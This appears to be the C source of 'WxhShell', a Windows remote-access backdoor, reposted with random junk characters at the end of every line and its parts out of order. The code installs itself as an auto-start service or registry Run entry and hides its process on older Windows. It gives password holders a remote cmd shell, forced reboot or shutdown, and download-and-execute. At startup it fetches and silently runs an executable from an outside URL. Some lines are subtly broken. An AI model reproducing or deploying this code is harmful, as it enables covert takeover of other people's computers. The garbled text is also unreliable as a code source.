    if(Boot(SHUTDOWN)) ~qqxHymc  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); h"ZIh= j@  
    else { kqKT>xo4EZ  
    closesocket(wsh); UWO3sZpU  
    ExitThread(0); _h<rVcl!wX  
    } tn$TyCzckW  
    break; 4vbGXb}!  
    } 9KX% O-'  
  // 获取shell n5C,Z!)z  
  case 's': { fYPu%MN7  
    CmdShell(wsh); kKlNhP(  
    closesocket(wsh); @ovaOX  
    ExitThread(0); ,+df=>$W  
    break; 9xbT?$^  
  } n>pJ/l%`  
  // 退出 )K?7(H/j  
  case 'x': { {v0r'+`  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); LC]0c)v#  
    CloseIt(wsh); h rSH)LbJ  
    break; 8a*&,W  
    } i&H^xgm  
  // 离开 C:No ^nH>  
  case 'q': { C')KZ|JIC  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); 8TpYt)]S  
    closesocket(wsh); <B>qE a_I  
    WSACleanup(); FDgo6x   
    exit(1); O>~@>/#  
    break; _yAY5TIv  
        } W#U|;@"  
  } O\f`+Q`0  
  } +JYb)rn$^  
*@bz<{!  
  // 提示信息 [_%u5sc-y  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Fk49~z   
} <5%*"v  
  } n@tt.n!{l  
jR}EBaI}  
  return; kttJTP77t  
} aPlEM_escS  
,gk'8]  
// shell模块句柄 ;+ C$EJw-  
int CmdShell(SOCKET sock) aHC%:)ww:  
{ ym5@SBqIx  
STARTUPINFO si; "7EK{6&jQ  
ZeroMemory(&si,sizeof(si)); ,sSo\%  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 3r#['UmT  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 5|0/$ SWd*  
PROCESS_INFORMATION ProcessInfo; q}p$S2`  
char cmdline[]="cmd"; S-mpob)  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); Vaf,  
  return 0; !S&/Zp  
} :Ni#XZ{F-/  
a$?d_BX  
// 自身启动模式 ;UXV!8SM  
int StartFromService(void) s@&3;{F6D  
{ XK\nOHLS  
typedef struct tvf.K+  
{ z59;Qk  
  DWORD ExitStatus; G~C-tAB  
  DWORD PebBaseAddress; 9mk@\Gqqm  
  DWORD AffinityMask; xGr{ad.N  
  DWORD BasePriority; p#w8$Qjp  
  ULONG UniqueProcessId; ':}9>B3 S  
  ULONG InheritedFromUniqueProcessId; 8F<|.V;  
}   PROCESS_BASIC_INFORMATION; U"|1@W#  
|LJv*  
PROCNTQSIP NtQueryInformationProcess; Y?1T XsvF  
,&3+w ~Ua  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; _;^x^  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; jFg19C{=X  
x1`w{5;C 2  
  HANDLE             hProcess; .9Oj+:n  
  PROCESS_BASIC_INFORMATION pbi; CR.d3!&28  
}R}M>^(R4  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); LiFR7\z  
  if(NULL == hInst ) return 0; rD$5]%Y  
Q)4[zStR#  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); vv)w@A:Vn)  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); "LDNkw'  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); yqK_|7I+  
|O)ZjLx  
  if (!NtQueryInformationProcess) return 0; q1YNp`]0i8  
h`! 4`eI  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); jqvw<+#  
  if(!hProcess) return 0; -">Tvi4  
|UlR+'rl  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 2vB,{/GXP  
c]VK%zl  
  CloseHandle(hProcess); B!`.,3  
WxD$k3U  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); :T PG~`k(  
if(hProcess==NULL) return 0; 'bZw-t!M@  
HQ=pf >  
HMODULE hMod; jQz^)8)B  
char procName[255]; o6 NmDv5  
unsigned long cbNeeded; qooTRqc#,  
He4q-\ht  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); _}\KC+n8  
t3}_mJ  
  CloseHandle(hProcess); uCW}q.@4  
~ cu+QR)  
if(strstr(procName,"services")) return 1; // 以服务启动 }Dcpe M?  
z,C>Rh9Id  
  return 0; // 注册表启动 >d .|I&  
} V^D 1:9i  
$h k_v~zM  
// 主模块 uVZm9Sp  
int StartWxhshell(LPSTR lpCmdLine) Y8s-cc(  
{ 4u|6^ wu.I  
  SOCKET wsl; ;$!0pxL)s  
BOOL val=TRUE; |%X_<Cpk  
  int port=0; Lrx"Hn{  
  struct sockaddr_in door; OB(~zUe.R  
zhRF>Y`  
  if(wscfg.ws_autoins) Install(); m^0*k|9+G  
-jTK3&5  
port=atoi(lpCmdLine); )086u8w )y  
JZyEyN  
if(port<=0) port=wscfg.ws_port; aeLIs SEx  
Oh`Pf;.z%  
  WSADATA data; {iLr$ 89  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; zS?}3#g0u  
j\.pS^+  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   =>TXo@rVN  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); aC'#H8e|j  
  door.sin_family = AF_INET; t nmz5Q  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); G in  
  door.sin_port = htons(port); #eI` l`}  
P!~&Ei  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { kP~ ;dJD  
closesocket(wsl); 99q$>nx,w  
return 1; rPW 9lG  
} 1-4*YrA  
^dhtc% W>  
  if(listen(wsl,2) == INVALID_SOCKET) { /8(t:  
closesocket(wsl); oB}rd9  
return 1; LrV4^{9(  
} pHDPj,lu  
  Wxhshell(wsl); UB;~Rf(.  
  WSACleanup(); );F /P0P  
M^A;tPw  
return 0; 8\Z/mU*4  
%} Ob~m>P  
} 9c@\-Z'  
Y2p~chx9  
// 以NT服务方式启动 KI<Vvc m  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) T^ah'WmNw  
{ j~9,Ct  
DWORD   status = 0; {[B`q  
  DWORD   specificError = 0xfffffff; TH}+'m  
Sh5SOYLz  
  serviceStatus.dwServiceType     = SERVICE_WIN32; }"chm=b  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; J 9k~cz  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; /`VtW$9-  
  serviceStatus.dwWin32ExitCode     = 0; #T)gKp  
  serviceStatus.dwServiceSpecificExitCode = 0; !g-19at  
  serviceStatus.dwCheckPoint       = 0; &5wM`  
  serviceStatus.dwWaitHint       = 0; Vt," 5c  
V$ss[fX  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); BcTV5Wcr  
  if (hServiceStatusHandle==0) return; W%7m3/d  
-@_V|C'?  
status = GetLastError(); !tD,phca~  
  if (status!=NO_ERROR) SA$1rqU=  
{ bQM_rqjJGw  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; *[_>d.i  
    serviceStatus.dwCheckPoint       = 0; (PCv4:`g  
    serviceStatus.dwWaitHint       = 0; {utIaMb]&v  
    serviceStatus.dwWin32ExitCode     = status; M%2 F7 FY  
    serviceStatus.dwServiceSpecificExitCode = specificError; !23#Bz7  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); ]LhNP}c  
    return; nMHs5'_y  
  } 3$`qy|=zO  
O8:,XTAN  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; f)+fdc  
  serviceStatus.dwCheckPoint       = 0; ^m:?6y_uw  
  serviceStatus.dwWaitHint       = 0; i;>Hy|  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); f&ym'S  
} VFMg$qv|_  
Et+N4w  
// 处理NT服务事件,比如:启动、停止 =p)Wxk  
VOID WINAPI NTServiceHandler(DWORD fdwControl) &H{KXX"X  
{ WV"{oED  
switch(fdwControl) ^4yFLqrC  
{ x+9aTsZ  
case SERVICE_CONTROL_STOP: ATU 2\Y  
  serviceStatus.dwWin32ExitCode = 0; s^$zO p9  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; ~l@SGHx  
  serviceStatus.dwCheckPoint   = 0; g.N~81A  
  serviceStatus.dwWaitHint     = 0; ^kMgjS}R  
  { YDyi6x,  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ukr a)>Y[|  
  } ?8X+)nU@  
  return; T(^<sjOs  
case SERVICE_CONTROL_PAUSE: )nS;]7pB@  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; <c6C+OWT,  
  break; 9)QvJ87e@7  
case SERVICE_CONTROL_CONTINUE: ET`;TfqM  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; h2Z Gh  
  break; Rd5r~iT  
case SERVICE_CONTROL_INTERROGATE: a-,BBM8|  
  break; ts Zr n  
}; ht S5<+Y  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); &Fl^&&1C  
} H0s,tTK8  
Oav^BhUO  
// 标准应用程序主函数 cV5Lp4wY?  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 13Ee"r  
{ -~ `5kO~  
oM$EQd`7  
// 获取操作系统版本 Kl$!_$  
OsIsNt=GetOsVer(); r 8,6qP[  
GetModuleFileName(NULL,ExeFile,MAX_PATH); x 1$tS#lS  
oZ@_o3VG  
  // 从命令行安装 R)#D{/#FW  
  if(strpbrk(lpCmdLine,"iI")) Install(); 2|#3rF  
UPPDs"  
  // 下载执行文件 LeY\{w  
if(wscfg.ws_downexe) { l0b Y  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) ]RQQg,|D  
  WinExec(wscfg.ws_filenam,SW_HIDE); VWmZ|9Ri  
} bI=\n)sEz  
Srz.-,2PF  
if(!OsIsNt) { &S<tX]v  
// 如果时win9x,隐藏进程并且设置为注册表启动 'j!7 O+7y  
HideProc(); Ni{ (=&*=  
StartWxhshell(lpCmdLine); ^owEB%  
} Zi2NgVF  
else r 06}@7  
  if(StartFromService()) t4UKG&[a  
  // 以服务方式启动 l<{]%=Qg  
  StartServiceCtrlDispatcher(DispatchTable); *#frbV?;  
else >NW /0'/  
  // 普通方式启动 H4 & d,8:m  
  StartWxhshell(lpCmdLine); ho@f}4jhQ3  
"a6 wd  
return 0; VA)3=82n  
} +*d,non6v  
sN 7I~  
]{nFB3vtB  
^,b*.6t  
=========================================== l@<^V N@  
B.K"1o  
dt) BMF8  
#v')iR"  
jfS?#;T)  
91%+Bf()J6  
" netKt_  
d^Ra1@0"q2  
#include <stdio.h> }!& w<wR  
#include <string.h> )~O{jd  
#include <windows.h> CjOaw$s  
#include <winsock2.h> av gGz8  
#include <winsvc.h> (Y'rEc#H&z  
#include <urlmon.h> =5%jKHo+9z  
3>0/WbA:7E  
#pragma comment (lib, "Ws2_32.lib") }`IN5NdYp  
#pragma comment (lib, "urlmon.lib") -t?S:9 [w  
nPfVZGt  
#define MAX_USER   100 // 最大客户端连接数 ~VUNN[  
#define BUF_SOCK   200 // sock buffer _w^p~To^  
#define KEY_BUFF   255 // 输入 buffer BYVp~!u  
s:R>uGYOd  
#define REBOOT     0   // 重启 Vs8os+  
#define SHUTDOWN   1   // 关机 =@binTC4  
5 & -fX:/  
#define DEF_PORT   5000 // 监听端口  ~ceGx  
gO4J[_  
#define REG_LEN     16   // 注册表键长度 {.H}+@0  
#define SVC_LEN     80   // NT服务名长度 sryujb.,  
p."pI Bd  
// 从dll定义API .+ai dWd  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); /Rx%}~x/m  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); #TZYe4#f  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); RX=C)q2c  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); ]J;^< 4l  
=:6Y<ftC  
// wxhshell配置信息 ECg/ge2  
struct WSCFG { i layU  
  int ws_port;         // 监听端口 JF%+T yMe  
  char ws_passstr[REG_LEN]; // 口令 U&wVe$  
  int ws_autoins;       // 安装标记, 1=yes 0=no WsJ3zZc  
  char ws_regname[REG_LEN]; // 注册表键名 k2<VUeW5  
  char ws_svcname[REG_LEN]; // 服务名 =o{zw+|% %  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 x~j%  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 4eBM/i  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 c(ZkK  
int ws_downexe;       // 下载执行标记, 1=yes 0=no SG8|xoL  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" eO (VSjo'`  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 pL.r 9T.  
sA3 4`ZAa  
}; f*1.Vg0`-  
 7I^(v Q  
// default Wxhshell configuration 1xL2f&bG  
struct WSCFG wscfg={DEF_PORT, 2!7wGXm~U  
    "xuhuanlingzhe", i?qS8h{  
    1, *1ku2e]z  
    "Wxhshell", E:&=A 4 %  
    "Wxhshell", Z7K ;~*  
            "WxhShell Service", B6MMn.  
    "Wrsky Windows CmdShell Service", ) (PA:j  
    "Please Input Your Password: ", %:N5k+}  
  1, a&.8*|w3  
  "http://www.wrsky.com/wxhshell.exe", _9Iz'-LgB  
  "Wxhshell.exe" 6n  
    }; (gvaYKvr  
jNaK]  
// 消息定义模块 p r(:99~3  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; T.`EDluG  
char *msg_ws_prompt="\n\r? for help\n\r#>"; Cbx/  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; +sQ=Uw#e  
char *msg_ws_ext="\n\rExit."; #If}P$!  
char *msg_ws_end="\n\rQuit."; \a<qI  
char *msg_ws_boot="\n\rReboot..."; CbS- Rz:  
char *msg_ws_poff="\n\rShutdown..."; &h`s:Y  
char *msg_ws_down="\n\rSave to "; 9y>dDNM\<  
X4Q ?]{  
char *msg_ws_err="\n\rErr!"; 8}XtVF;  
char *msg_ws_ok="\n\rOK!"; L'H'E,  
TlQ#0_as[  
char ExeFile[MAX_PATH]; t}c ymX~  
int nUser = 0; Eu l,1yR  
HANDLE handles[MAX_USER]; kHo0I8  
int OsIsNt; rs]%`"&=  
,gUSW  
SERVICE_STATUS       serviceStatus; =n cu# T]  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; #i%it  
pBL,kqYNA>  
// 函数声明 i!*w'[G->Y  
int Install(void); Uk` ym  
int Uninstall(void); B~D{p t3y  
int DownloadFile(char *sURL, SOCKET wsh); GXr9J rs.e  
int Boot(int flag); E<:XHjm  
void HideProc(void); (]w_}E]N  
int GetOsVer(void); D\}^<HW  
int Wxhshell(SOCKET wsl); (Dlh;Ic r9  
void TalkWithClient(void *cs); /a [i:Oa#  
int CmdShell(SOCKET sock); _<6 ^r  
int StartFromService(void); A0m  
int StartWxhshell(LPSTR lpCmdLine); -Ds}kdxw  
aqQ YU5l4~  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 4c_TrNwP  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); EeIV6ug  
YiJnh47  
// 数据结构和表定义 A5S9F8Q/]  
SERVICE_TABLE_ENTRY DispatchTable[] = ^HgQ"dD <  
{ aHNR0L3$}{  
{wscfg.ws_svcname, NTServiceMain}, f=+|e"i #p  
{NULL, NULL} R9A8)dDz  
}; n sKl3}uU  
:.e`w#$7  
// 自我安装 `O?Kftv*  
int Install(void) |_"JyGR2  
{ AyKvh  
  char svExeFile[MAX_PATH]; EiQX* v  
  HKEY key; J3fk3d`2  
  strcpy(svExeFile,ExeFile); pM],-7UM  
cKJf0S:cx-  
// 如果是win9x系统,修改注册表设为自启动 8n+&tBq1  
if(!OsIsNt) {  J -tOO  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { <o@&I " o  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 9 js!gJC  
  RegCloseKey(key); c7UmR?m  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Xb?:dlu3  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); f4UnLig  
  RegCloseKey(key); _0N=~`'  
  return 0; _1Iy/T@1  
    } K&Ner(/X`6  
  } sL" h  
} d` %8qLIW  
else { t5t,(^;f  
a~ q_2S]h  
// 如果是NT以上系统,安装为系统服务 l/1u>'  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);  ,5!&}  
if (schSCManager!=0) -AnQZy  
{ > %h7)}U  
  SC_HANDLE schService = CreateService =^8*]/k  
  ( 1P4cB w%  
  schSCManager, <7'`N\a  
  wscfg.ws_svcname, jz,Mm,Gi  
  wscfg.ws_svcdisp, 0U|t@&q  
  SERVICE_ALL_ACCESS, NwAvxN<R(f  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , EQe!&;   
  SERVICE_AUTO_START, T8<pb^#  
  SERVICE_ERROR_NORMAL, DJ_[{WAV  
  svExeFile, 4'3do>!  
  NULL, F6 mc<n  
  NULL, Pq\ `0/4_  
  NULL,  N>ncv  
  NULL, mj{B_3b5  
  NULL )/HbmtXqI  
  ); d*qb^C{'"  
  if (schService!=0) (LiS9|J!  
  { e"}JHXs  
  CloseServiceHandle(schService);  +kA>^  
  CloseServiceHandle(schSCManager);  NOY`1i  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); z$g cK>@l  
  strcat(svExeFile,wscfg.ws_svcname); l5h+:^#M5c  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { /my5s\;s|z  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); %MG{KG=&o  
  RegCloseKey(key); *Bfo"["0.  
  return 0; ))T@U?r  
    } PP*6nW8  
  } 7 bV(eV  
  CloseServiceHandle(schSCManager); 4X-"yQ<U  
} EdL2t``  
} 87!D@Xn  
/ esdtH$=  
return 1; iGq%|o>  
} )Ehi 8  
* 'eE[/K  
// 自我卸载 Q};n%&n&  
int Uninstall(void) 5)5$h]Nz>  
{ @h&:xA56  
  HKEY key; Ky0}phGRu  
jz,K>   
if(!OsIsNt) { }Q2v~eD  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 2LfiaHO  
  RegDeleteValue(key,wscfg.ws_regname); w"`Zf7a{/  
  RegCloseKey(key); SND@#?hiO  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { !dQmg'_V  
  RegDeleteValue(key,wscfg.ws_regname); RWg'W,v=!  
  RegCloseKey(key); W [*Go  
  return 0; -F. c<@*E  
  } K`=9"v'f+  
} mjQZ"h0  
} ZUyS+60  
else { @m5c<(bkfp  
vjL +fH<0:  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); |}7!'f\M  
if (schSCManager!=0) &4O2uEW0  
{ E2xK GK   
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); p4F%FS:`  
  if (schService!=0) r>e1IG  
  { KuRJo]  
  if(DeleteService(schService)!=0) { .FN;3HU  
  CloseServiceHandle(schService); oVTXn=cYDp  
  CloseServiceHandle(schSCManager); ;A G&QdTMh  
  return 0; J$W4AT  
  } o)bKs>` U  
  CloseServiceHandle(schService); kwXUjn p  
  } _1?nLx7n  
  CloseServiceHandle(schSCManager); Dm@h'*  
} y7t'I.E[+  
} lak,lDt]  
X"jL  
return 1; /F$E)qN7n  
} p[O\}MAd#  
?n]adS{  
// 从指定url下载文件 }4g$ aTc  
int DownloadFile(char *sURL, SOCKET wsh) Q>q-6/|UX  
{ <vE|QxpR  
  HRESULT hr; uHsLlfTn  
char seps[]= "/"; bv;. 6C(T<  
char *token; sf0\#Q  
char *file; gyQPQ;"H$2  
char myURL[MAX_PATH]; YQ@2p?4m  
char myFILE[MAX_PATH]; G|*&owJ  
!F:mD ZeY  
strcpy(myURL,sURL); No8-Hm  
  token=strtok(myURL,seps); S0Ur{!9\#^  
  while(token!=NULL) 27+~!R~Yw  
  { cij8'( "+!  
    file=token; m2H?VY .^K  
  token=strtok(NULL,seps); y^e3Gyk  
  } aX~Jk >a0  
0~z`>#W,  
GetCurrentDirectory(MAX_PATH,myFILE); jo?[M  
strcat(myFILE, "\\"); -dWg1`;  
strcat(myFILE, file); 3GNcnb  
  send(wsh,myFILE,strlen(myFILE),0); bsm/y+R  
send(wsh,"...",3,0); M}j[{wW3  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); SA#01}&p  
  if(hr==S_OK) 1 +s;a]-C  
return 0; ySB0"bl  
else Qcks:|5  
return 1; <@# g2b  
%-]a[qf3  
} &qK:LHhj  
@( \R@`#  
// 系统电源模块 LXWI'nxV  
int Boot(int flag) d/T&J=  
{ \4LTViY]  
  HANDLE hToken;  H2oxD$s  
  TOKEN_PRIVILEGES tkp; CPL,QVO9  
&]Uo>Gb3!q  
  if(OsIsNt) { Zwz co  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); ,2 rfN"o  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); AN6Q~%,  
    tkp.PrivilegeCount = 1; xmEom  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; L,.AY?)+7  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); UM#.`  
if(flag==REBOOT) { S*>T%#F6Uo  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) ' tHa5`  
  return 0; ~#4FL<W  
} o$Ylqb#  
else { 3u/AqL  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) WF-jy7+  
  return 0; z;dRzwL  
} K3<A<&W_-  
  } \EU^`o+  
  else { 6D[]Jf,9  
if(flag==REBOOT) { }vh4ix  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) w~'}uh  
  return 0; -ycdg'v  
} #qmsZHd}b  
else { %k32:qe  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) ^[r1Dk  
  return 0; yci}#,nb  
} -|^)8  
} 79c M _O  
i\l}M]Z#  
return 1; W7b m}JHn  
} @&E IH,c  
: \qapFV  
// win9x进程隐藏模块 czU"  
void HideProc(void) 9 &uf   
{ AoOA.t6RVo  
"g#%d  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); H8[A*uYL  
  if ( hKernel != NULL ) OA=~ i/n~  
  { wBwTJCX  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); !`RMXUV  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); NN=^4Xpc:  
    FreeLibrary(hKernel); kE .4 #  
  } "f_qG2A{  
^g|cRI_"  
return; }.&;NgZS  
}  U-4F  
<$zhNu~  
// 获取操作系统版本 k_,& Q?GtU  
int GetOsVer(void) YS){ N=g&'  
{ HnKgD:  
  OSVERSIONINFO winfo; %b<W]HwA  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); H!Q72tyo  
  GetVersionEx(&winfo); M*ZN]9{^.  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) o h\$u5  
  return 1; sH;_U)ssH  
  else bTrusSAl  
  return 0; 1w(3!Ps+  
} [SC6{ |  
wB[f%mHs  
// 客户端句柄模块 -qDqJ62mC  
int Wxhshell(SOCKET wsl) SU4i'o  
{ J](NCD  
  SOCKET wsh; .4[3r[  
  struct sockaddr_in client; ^ex\S8j  
  DWORD myID; QCb%d'_w+  
e }?.3,?  
  while(nUser<MAX_USER) 'xj5R=V  
{ {~&Q"8 }G  
  int nSize=sizeof(client); r>peKo[X(  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); }URdoTOvb  
  if(wsh==INVALID_SOCKET) return 1; 3MNM<Ih  
>h;]rMD!|  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); wV==sV  
if(handles[nUser]==0) G Ixs>E'X  
  closesocket(wsh); k%cE8c}R;A  
else I ]ZZN6"  
  nUser++; n]' r3  
  } eN,9N]K  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); (vZ-0Ep}  
i83~&Q=  
  return 0; Ld}?daPj  
} zT78FliY6  
VZWo.Br'W  
// 关闭 socket s{'Sl{-Eu  
void CloseIt(SOCKET wsh) MVzuE}  
{ cZ:jht  
closesocket(wsh); `_OrBu[  
nUser--; s%K(hk  
ExitThread(0); F5 ]<=i  
} w/m@(EBK  
-9t"$)&  
// 客户端请求句柄 %o%V4K*  
void TalkWithClient(void *cs) 37zB X~  
{ rV%T+!n%c  
~ #3{5* M  
  SOCKET wsh=(SOCKET)cs; >z\IO  
  char pwd[SVC_LEN]; T[|#DMg$F  
  char cmd[KEY_BUFF]; Ldz]FB|  
char chr[1]; z:#]P0  
int i,j; (^}t  
+112{v=!i  
  while (nUser < MAX_USER) { )C8^'*!  
ZDFq=)0C  
if(wscfg.ws_passstr) { iX+8!>Q  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); gA(npsUHI  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); f $Agcy  
  //ZeroMemory(pwd,KEY_BUFF); H<_Tn$<zH.  
      i=0; -`k>(\Q< d  
  while(i<SVC_LEN) { vzg^tJ  
TI7$J#  
  // 设置超时 cRnDAn#42  
  fd_set FdRead; r V%6 8x9  
  struct timeval TimeOut; Jj \ nye+  
  FD_ZERO(&FdRead); OOSf<I*>  
  FD_SET(wsh,&FdRead); a|u#w~  
  TimeOut.tv_sec=8; 7@;*e=v  
  TimeOut.tv_usec=0;  +x 3x  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); fg)*TR  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); %[p*6&V  
;\0|1Eem`  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); g9pKoi|\E  
  pwd=chr[0]; ]jhi"BM  
  if(chr[0]==0xd || chr[0]==0xa) { JU>~[yAP  
  pwd=0; _s^tL2Pc  
  break; l[T-Ak  
  } 0(y*EJA$  
  i++; ,H7_eVLWR  
    } "mJo<i}  
0vqH-)}  
  // 如果是非法用户,关闭 socket ElW\;C:K*  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); ]20:8l'  
}  ImhkU%  
fS4foMI63)  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); ]eGa_Ld  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); {A0F/#M]  
^&YtZjV  
while(1) { _;PQt" ]  
1-p#}VX  
  ZeroMemory(cmd,KEY_BUFF); eQ[akVMk  
:5~Dca_iU4  
      // 自动支持客户端 telnet标准   Sn-#Y(>]o0  
  j=0; QIkFX.^  
  while(j<KEY_BUFF) { jo"nK,r  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); @sn:%/x_  
  cmd[j]=chr[0]; U^7hw(}me  
  if(chr[0]==0xa || chr[0]==0xd) { i 7]o[  
  cmd[j]=0; |^8ND #x  
  break; 2`]c&k;]  
  } i<Ms2^  
  j++; /9ORVV  
    } wetu.aMp  
{Ycgq%1>]  
  // 下载文件 Lmjd,t  
  if(strstr(cmd,"http://")) { V Dnrm*  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); e2=}qE7  
  if(DownloadFile(cmd,wsh)) WDY\Fj   
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); *I?-A(e  
  else <o()14  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); TYuP EVEXZ  
  } s&ox%L4  
  else { mdL T7  
R,D/:k'~k  
    switch(cmd[0]) { =&pR=vl  
